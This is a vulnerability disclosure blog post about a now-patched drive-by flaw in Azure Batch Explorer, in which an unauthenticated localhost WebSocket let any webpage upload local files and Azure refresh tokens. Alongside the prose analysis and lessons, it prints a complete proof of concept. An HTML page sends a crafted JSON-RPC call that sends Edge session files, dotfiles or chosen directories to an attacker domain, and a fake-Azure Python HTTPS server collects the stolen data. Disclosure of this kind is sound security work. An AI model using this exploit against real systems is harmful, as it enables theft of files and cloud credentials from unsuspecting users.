Azure Batch Explorer: Drive-By File and Token Leak via Local WebSocket (Patched)
When I realized there’d be no paycheck for this research, I figured I might as well earn some street cred instead. It started with a hunch: local developer tools can quietly widen your attack surface. Azure Batch Explorer, a desktop app from Microsoft for managing Azure Batch resources, was a case in point. Versions up to 2.21.0.1069 opened a WebSocket on 127.0.0.1 with no origin checks, CORS enforcement, or authentication. Any webpage you visited could talk straight to it. The fix is out now so let’s unpack what went wrong and why it matters.
What Was the Risk?
If you ran a vulnerable version of Batch Explorer and simply opened a malicious webpage, that page could:
- Connect to
ws://127.0.0.1:45032
and issue JSON-RPC calls - Trigger privileged actions like uploading any local file or stealing Azure refresh tokens
- Do it all without a single prompt or click
The app exposed a local control plane to the browser without validating who was talking to it.
What Could Be Stolen?
- Any file the app could read: shell configs, credential stores, even your entire user folder
- Azure refresh tokens with scopes such as
offline_access
,openid
, anduser_impersonation
If those tokens belong to a high-privilege account, an attacker could go from a simple web page to full Azure privilege escalation.
How the PoC Worked
- Attacker hosts a malicious HTTPS page and a fake “Azure” endpoint using a Python server.
- Victim opens Batch Explorer, which spins up a WebSocket on localhost:45032.
- Victim browses to the attacker’s page and the JS opens the WebSocket.
- JS sends a
create-file-group
JSON-RPC call pointing uploads at the attacker’s server. - Files like
AppData/Local/Microsoft/Edge/User Data/Default/Sessions/tab*
get exfiltrated.
Batch Explorer trusted any armUrl
or storageEndpoint
in the payload,
even if it pointed outside Azure.
Why It Was Missed
This wasn’t a subtle race condition or side-channel trick. It boiled down to:
- A local WebSocket server with no origin validation
- No authentication or permission checks on JSON-RPC methods
- Unvalidated user supplied inputs, such as the URLs
Even top-tier vendors can slip up on basic trust boundaries when they assume localhost
equals safe.
On Bug Bounties and Scope
Microsoft marked this out of scope because the app is open source. That’s technically correct, but they’re the sole maintainer and publisher, this isn’t a forgotten community fork or community maintained. After some back and forth with the team, the Azure bounty scope is now clearer about excluding first-party open source tools like the Azure CLI and PowerShell modules. Shame it was updated only after I’d submitted my report. https://www.microsoft.com/en-us/msrc/bounty-microsoft-azure#:~:text=February%2012,%202025
Key Lessons
- Enforce authentication and origin checks on every local RPC interface
- Treat all web inputs as untrusted data, even in a browser context
- Map your threat model to real-world usage and product lifecycles
- Ensure the vendor’s security priorities align with your usage, and revalidate assumptions regularly
Wrapping Up
The patch rolled out quickly, which is a welcome win. Still, unauthenticated local control interfaces remain a serious risk. If your app exposes an API, even on localhost, require authentication as a non‑negotiable baseline. Too bad this did not earn a bounty. Drive-by attacks in 2025 are rare and impactful.
Please remember, local doesn’t mean safe.
Proof.mp4
PoC HTML
<html>
<head>
<script>
function batchExfil(fileOrFolder,malServer,recurse){
try{ws.close()}catch(e){}
const ws = new WebSocket('ws://1:1@127.0.0.1:45032/')
ws.onopen = () => {
console.log('ws opened on browser')
ws.send(`
{"jsonrpc":"2.0",
"method":"create-file-group",
"params":["asdzwzw","${fileOrFolder}",{
"fullpath":true, "prefix":false, "flatten":false,"recursive":${recurse}
}],
"id":0,
"request_id":0,
"options":{
"authentication":{
"batchToken":"a.a.azwzw",
"armToken":"a.a.azwzw",
"armUrl":"https://${malServer}/",
"storageEndpoint":"@${malServer}/storageendpoint/",
"account":{
"id": "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/test-tmp2/providers/Microsoft.Batch/batchAccounts/testaccountmsobb",
"name": "testaccountmsobb",
"type": "Microsoft.Batch/batchAccounts",
"location": "canadacentral",
"subscription":{"subscriptionId":"00000000-0000-0000-0000-000000000000"},
"properties": {
"accountEndpoint": "testaccountmsobb.canadacentral.[REDACTED]",
"nodeManagementEndpoint": "76ccb063-54c8-4de3-aacb-304ccb86c7c3.canadacentral.service.batch.azure.com",
"poolAllocationMode": "BatchService",
"publicNetworkAccess": "Enabled",
"networkProfile": {
"accountAccess": {
"defaultAction": "Allow"
}
},
"encryption": {
"keySource": "Microsoft.Batch"
}
},
"identity": {
"type": "None"
}
}
}
}
}
`)
}
ws.onmessage = (message) => {
console.log(`message received`, message.data)
}
}
</script>
<head>
<body>
<h1>Poc page for batch explorer vulnerability</h1>
<div>
Input your malicious domain hosting the python server ex:"example.loc"
<input id="maldomain" value="">
</div>
<div>
<h2>Exfil the tab file which contains the refresh token that was used to connect to the app </h2>
<input id="refreshToken" size=200 value="C:/Users/*/AppData/Local/Microsoft/Edge/User Data/Default/Sessions/tab*" disabled>
<br><button onclick="if(maldomain.value.length<3){maldomain.value=prompt('input your domain hosting the malicious python server', 'example.loc')};batchExfil(refreshToken.value,maldomain.value,false)">escalate privileges by exfiltrating azure/m365 refresh token</button>
</div>
<div>
<h2>Exfil username and dot file such as .gitconfig</h2>
<input id="exfilUsers" size=200 value="C:/Users/*/.*" disabled>
<br><button onclick="if(maldomain.value.length<3){maldomain.value=prompt('input your domain hosting the malicious python server', 'example.loc')};batchExfil(exfilUsers.value,maldomain.value,false)">exfiltrate users</button>
</div>
<div>
<h2>Exfil from any directory recursively</h2>
<input id="exfilDir" size=200 value="C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Accessories" >
<br><button onclick="if(maldomain.value.length<3){maldomain.value=prompt('input your domain hosting the malicious python server', 'example.loc')};batchExfil(exfilDir.value,maldomain.value,true)">exfiltrate a directory of your choice</button>
</div>
<div>
<h2>Exfil a single file</h2>
<input id="singleFile" size=200 value="c:/windows/debug/netsetup.log" >
<br><button onclick="if(maldomain.value.length<3){maldomain.value=prompt('input your domain hosting the malicious python server', 'example.loc')};batchExfil(singleFile.value,maldomain.value,false)">exfiltrate a file of your choice</button>
</div>
</body>
</html>
Python Server PoC
from http.server import HTTPServer,SimpleHTTPRequestHandler
import http
import ssl
import logging
from http import HTTPStatus
PORT = 8443
class MyHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
def handle_request(self):
logging.error(self.headers)
logging.error(self.request)
"""Unified handler for all HTTP methods."""
print(self.path)
self.protocol_version = "HTTP/1.1"
if self.path.split("?")[0].endswith("batchAccounts") == True:
self.send_response(http.HTTPStatus.OK)
message = '''{
"value": [
{
"id": "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/test-tmp2/providers/Microsoft.Batch/batchAccounts/testaccountmsobb",
"name": "testaccountmsobb",
"type": "Microsoft.Batch/batchAccounts",
"location": "canadacentral",
"properties": {
"accountEndpoint": "testaccountmsobb.canadacentral.[REDACTED]",
"nodeManagementEndpoint": "00000000-0000-0000-0000-000000000000.canadacentral.service.batch.azure.com",
"provisioningState": "Succeeded",
"dedicatedCoreQuota": 6,
"dedicatedCoreQuotaPerVMFamily": [
{
"name": "standardAv2Family",
"coreQuota": 6
}
],
"dedicatedCoreQuotaPerVMFamilyEnforced": true,
"lowPriorityCoreQuota": 6,
"poolQuota": 20,
"activeJobAndJobScheduleQuota": 100,
"autoStorage": {
"storageAccountId": "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/test-tmp2/providers/Microsoft.Storage/storageAccounts/zwzwzw",
"lastKeySync": "2024-11-25T18:57:18.3288351Z",
"authenticationMode": "BatchAccountManagedIdentity"
},
"poolAllocationMode": "BatchService",
"publicNetworkAccess": "Enabled",
"networkProfile": {
"accountAccess": {
"defaultAction": "Allow"
}
},
"privateEndpointConnections": [],
"encryption": {
"keySource": "Microsoft.Batch"
},
"allowedAuthenticationModes": [
"AAD",
"TaskAuthenticationToken"
]
},
"identity": {
"type": "None"
}
}
]
}'''
self.send_header("Content-Type", "application/json")
elif self.path.split("?")[0].endswith("listKeys") == True:
message = '''{"keys":[{"keyName":"key1","value":"","permissions":"FULL"},{"keyName":"key2","value":"","permissions":"FULL"}]}
'''
self.send_response(http.HTTPStatus.OK)
self.send_header("Content-Type", "application/json")
elif self.path.endswith("&restype=container") == True:
message = '''30 /
'''
self.send_response(http.HTTPStatus.OK)
self.send_header("Content-Type", "text/xml")
elif self.path.endswith("&comp=metadata") == True:
self.send_response(http.HTTPStatus.OK)
message = '''{"keys":[{"keyName":"key1","value":""}]}
'''
self.send_header("Content-Type", "text/xml")
elif self.path.startswith("/storageendpoint/") == True:
message = '''Okay
'''
self.send_response(http.HTTPStatus.CREATED)
self.send_header("access-control-allow-origin", "*")
self.send_header("access-control-expose-headers", "x-ms-request-id,x-ms-client-request-id,Server,x-ms-version,x-ms-content-crc64,Content-MD5,Last-Modified,ETag,x-ms-request-server-encrypted,Content-Length,Date,Transfer-Encoding")
self.send_header("content-md5", "bWhXUMmjaSzZ/ykNM6jvMQ==")
self.send_header("date", "Mon, 25 Nov 2024 20:47:10 GMT")
self.send_header("etag", "0x8DD0D9255CFEF53")
self.send_header("last-modified", "Mon, 20 Nov 2020 20:20:20 GMT")
self.send_header("server", "Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0")
self.send_header("x-ms-client-request-id", "4a99d12d-4fc4-487b-ab78-ca40a75f0013")
self.send_header("x-ms-content-crc64", "YD3+dFyECL8=")
self.send_header("x-ms-request-id", "00000000-0000-0000-0000-000000000000")
self.send_header("x-ms-request-server-encrypted", "true")
self.send_header("x-ms-version", "2022-11-02")
self.send_header("Content-Type", "application/octet-stream")
else:
message = 'not found'
# Send response headers
# logging.error("Received query to path: \r\n" +self.path+ " Sending message: \r\n"+message)
self.send_header("Content-Security-Policy","default-src 'self'")
self.send_header("Cache-Control", "no-cache, no-store, must-revalidate")
self.send_header("Pragma", "no-cache")
self.send_header("Expires", "0")
# self.send_header("Content-Length", str(len(message)))
self.send_header("X-Ms-Request-Id", "24b77f2f-16bd-440b-ae35-e94effbf1e6a")
self.send_header("Strict-Transport-Security", "max-age=31536000; includeSubDomains")
self.send_header("X-Ms-Ratelimit-Remaining-Subscription-Resource-Requests", "11999")
self.send_header("X-Ms-Correlation-Request-Id", "7e8169e0-4c2c-4665-a1bf-a6e3a52ce5af")
self.send_header("X-Ms-Routing-Request-Id", "CANADAEAST:20241125T144212Z:7e8169e0-4c2c-4665-a1bf-a6e3a52ce5af")
self.send_header("X-Content-Type-Options", "nosniff")
self.send_header("X-Cache", "CONFIG_NOCACHE")
self.send_header("X-Msedge-Ref", "Ref A: 45CA1FE5577C49F6B34D3EDFAD79E2E8 Ref B: YTO221090814035 Ref C: 2024-11-25T14:42:12Z")
self.send_header("Date", "Mon, 25 Nov 2024 14:42:11 GMT")
self.send_header("x-ms-error-code","BlobNotFound")
self.end_headers()
# Write the response body
self.wfile.write(message.encode('utf-8'))
# Override all HTTP method handlers to use handle_request
def do_GET(self):
self.handle_request()
def do_POST(self):
content_length = int(self.headers.get('Content-Length', 0))
post_body = self.rfile.read(content_length)
print(f"Received POST body: {post_body.decode('utf-8')}")
self.handle_request()
def do_OPTIONS(self):
self.handle_request()
def do_PUT(self):
content_length = int(self.headers.get('Content-Length', 0))
post_body = b'Received PUT body: '+self.rfile.read(content_length)
print('\r\n==========================================\r\n')
print(post_body.decode('ISO-8859-1'))
print('\r\n==========================================\r\n')
self.handle_request()
def do_DELETE(self):
self.handle_request()
def do_HEAD(self):
self.handle_request()
def do_PATCH(self):
self.handle_request()
httpd = HTTPServer(('0.0.0.0', 443), MyHTTPRequestHandler)
# Since version 3.10: SSLContext without protocol argument is deprecated.
# sslctx = ssl.SSLContext()
sslctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
sslctx.check_hostname = False # If set to True, only the hostname that matches the certificate will be accepted
sslctx.load_cert_chain(certfile='certificate.crt', keyfile="private.key")
httpd.socket = sslctx.wrap_socket(httpd.socket, server_side=True)
httpd.serve_forever()